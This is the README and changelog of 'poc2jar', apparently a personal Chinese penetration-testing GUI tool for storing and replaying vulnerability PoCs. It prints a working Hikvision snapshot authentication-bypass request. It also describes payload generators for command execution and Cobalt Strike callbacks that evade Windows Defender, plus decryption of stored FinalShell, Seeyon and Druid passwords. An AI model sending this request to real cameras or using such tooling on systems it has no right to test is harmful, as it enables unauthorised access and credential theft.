Files
poc2jar/README.md
2021-11-19 16:44:01 +08:00

12 KiB
Raw Blame History

2021.11.19更新v0.44

1.base64模块解码加入分段猜解类似base64编码中可能存在部分非base64的加密部分剔除后进行base64解密。参考(https://xz.aliyun.com/t/7779)

测试base64 RuYW1lPVRfWlBHTF9ER1dSU0pHWlNYJklzaGFzWVBYSEJ5ZmlsZWQ9JnNlbGVjdGZpZWxkSWRzPSwmc2VsZWN0ZmllbGRJZHNWYWx1ZT0sY29td2lzZWR1Y29td2lzZWR1c3VibWl0PXRydWUmeXB4aHZhbHVlPTI3OTQ2Jn image image

2.优化cs payload可以进行按钮保存方便之后打开使用 image

2021.11.19更新v0.43

优化windows下的启动参数由于mac下java默认是utf-8windows下java默认是gbk

mac下 image

windows下

image

导致有师傅提了issue这里思考了一下把文本文档的编码更改一下应该就行了windows下双击打开jar image

2021.11.18更新v0.42

1.增加命令模块(Bash模块、PowerShell模块、Python模块、Perl模块),参考http://www.jackson-t.ca/runtime-exec-payloads.html

Bash模块 image

PowerShell模块 image

Python模块 image

Perl模块 image

2.增加cs快速生成命令模块第二三四条可以绕过windows defender的上线命令第一条只是做了加号处理 image

第五条效果不好 image

3.优化windows下体验由于没在windows下测试导致windows之前的jar都打不开0.42开始windows和mac都会进行一次测试

todo:base64模块解码加入猜解参考(https://xz.aliyun.com/t/7779)

2021.11.17更新v0.41

1.优化listview选择列表事件可通过上下方向键进行选择

由于使用方向键可以移动光标位置所以可以通过监听onKeyReleased事件来实现具体实现逻辑如下

添加监听事件:

onKeyReleased="#mListView1Click2"

事件定义为:

public void mListView1Click2(KeyEvent event)

函数为:

mListView1.getSelectionModel().getSelectedItem()

通过读取光标来进行获取listview选中的内容

2.去除了文件中会显示.DS_store文件

3.增加druid1.0.16版本及以后的解密方式

4.增加编码模块(Unicode、URL、Base64、Hex、Html、ascii编码)由于平时编码工具很少要么是burp的编码模块很难用要么是某些在线网站在线网站进行编码需要有互联网就导致了在一些内网环境中无法进行编码、解码所以写了进去简单介绍下

Unicode模块 image image

URL模块 image image

Base64模块 image image

Hex模块 image image

Html模块 image image

ascii模块 image image

2021.11.15更新 v0.4

1.完善密码模块对druid密码的解密在druid 1.0.16版本及之前 image 发现有些时候poc利用的还不是很好emmm在思考怎么优化

2021.8.14更新 v0.3

1.完善对于单个目标进行全部poc检测 image

2.python运行命令可在调用python脚本手动设置。

3.将python固定至jar包内部减少config.properties文件将test.txt固定至jar包内部减少test.txt文件(对macos来说windows还未适配)

后续看看windows怎么减少config.properties文件和test.txt文件文件说明在最下面都有解释

基本已经完成我所需要的功能了,后续看有必要再次更新

2021.8.8更新 v0.2

1.批量模块更改为python批量默认用的python3所以需要配置一下python3命令。(emmm后续再看看改成go试试)

2.添加finalshell密码解密

3.添加seeyon数据库密码解密

注:

1.增加了pythonexp/poc2jarpiliang.py、url.txt文件最好重新下载一遍项目里的txt

2.property/config.properties增加python2、python3python脚本默认python2执行

python批量

image

finalshell密码解密(支持批量)

image

seeyon数据库密码解密(支持批量)

image

源介绍

poc2jar

个人写的很简陋的poc工具每次遇到新的漏洞爆发出来都要去复现复现好以后保存到哪里就成了一个问题了写这个工具就是为了解决这个问题希望能集合到个人主机内然后可以根据不同的poc来使用

工具介绍

poc保存模块

举一个很简单的例子hikvision的漏洞 image 截取到数据包如下:

GET /onvif-http/snapshot?auth=YWRtaW46MTEK HTTP/1.1
Host:x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

直接放入到poc保存模块里进行发包 image 可以看到返回的为二进制的图片那我们可以把漏洞关键字设置为Content-Type:image/jpeg只要请求这个路径返回这个就判断为存在漏洞

image

满足条件可以保存为yml文件

填入exp名称、yml文件的名称(这里名称需要带入组件如这里应该为hikvision/test.yml) image 至此保存yml文件成功

exp利用模块

直接选择刚刚保 存的yml文件 image

输入刚刚的url进行测试 image 存在相应回显即为存在漏洞

批量利用这里多线程没有处理好暂时不能太多目标后期想更换为python多线程

image

tasklist进程搜索模块

这里需要tasklist /svc格式的输入 image

常用命令模块

image

python利用模块

image

不足 todo

①.对于一些复杂请求的没有做到兼容测试还是依赖于python模块去执行 暂时没找到好方法替代

②.对于多线程没有处理好 用python替代了

③.对于单个目标可以把对应模块的poc全部测一遍

④.所需要的文件有点多考虑办法不需要文件直接写进jar包内 2021.8.14(部分完成)

⑤.考虑和goby、xray格式相同(长久来看)

对文件的说明

①.poc文件夹存放poc文件即yml文件

②.property文件夹存放cmdlists.txt即常用命令模块config.properties即python路径或者环境变量下python的调用命令exetest.txt即tasklist /svc查找的敏感进程test.txt是保存的请求包

③.pythonexp文件夹存放的python脚本usage放在了文件第一行可以进行调用

安装说明

安装pyyaml库 5.3.1

运行

Mac OS

直接运行jar即可

Windows

直接运行jar即可

需要在命令行加入参数编码参数否则会乱码即java -jar -Dfile.encoding=utf-8 poc2jar.jar

编写过程的难点

其实真正的难点在于发请求尤其是发POST请求但是没有Content-type这样的漏洞payload的时候有些漏洞请求是要POST但是Content-type是不需要的这就导致了该项目当时停滞不前遇到一位大佬帮我解决问题真的太感谢了此处艾特董神 主要在于setIfNotSet自动加上了Content-type所以我们重写这个方法 下面给出解决的demo

image

test类下定义一个setIfNotSet方法

  public synchronized void setIfNotSet(String arg0, String arg1) {
//        System.out.println("hook: " + arg0);
      if ("Content-type".equals(arg0)) {
      return;
  }

      if ("Connection".equals(arg0)) {
      return;
  }

      if ("Accept".equals(arg0)) {
      return;
  }

      super.setIfNotSet(arg0, arg1);
}

继承test类

HttpURLConnection connection = (HttpURLConnection) realUrl.openConnection();
// 设置通用的请求属性

Object target = connection;
if (!target.getClass().equals(sun.net.www.protocol.http.HttpURLConnection.class)) {
    //https
    Field field1 = connection.getClass().getDeclaredField("delegate");
    field1.setAccessible(true);
    target = field1.get(connection);
}
Field field2 = sun.net.www.protocol.http.HttpURLConnection.class.getDeclaredField("requests");
field2.setAccessible(true);
test customMessageHeader = new test();

免责声明

请勿将本项目技术或代码应用在恶意软件制作、软件著作权/知识产权盗取或不当牟利等非法用途中。实施上述行为或利用本项目对非自己著作权所有的程序进行数据嗅探将涉嫌违反《中华人民共和国刑法》第二百一十七条、第二百八十六条,《中华人民共和国网络安全法》《中华人民共和国计算机软件保护条例》等法律规定。本项目提及的技术仅可用于私人学习测试等合法场景中,任何不当利用该技术所造成的刑事、民事责任均与本项目作者无关。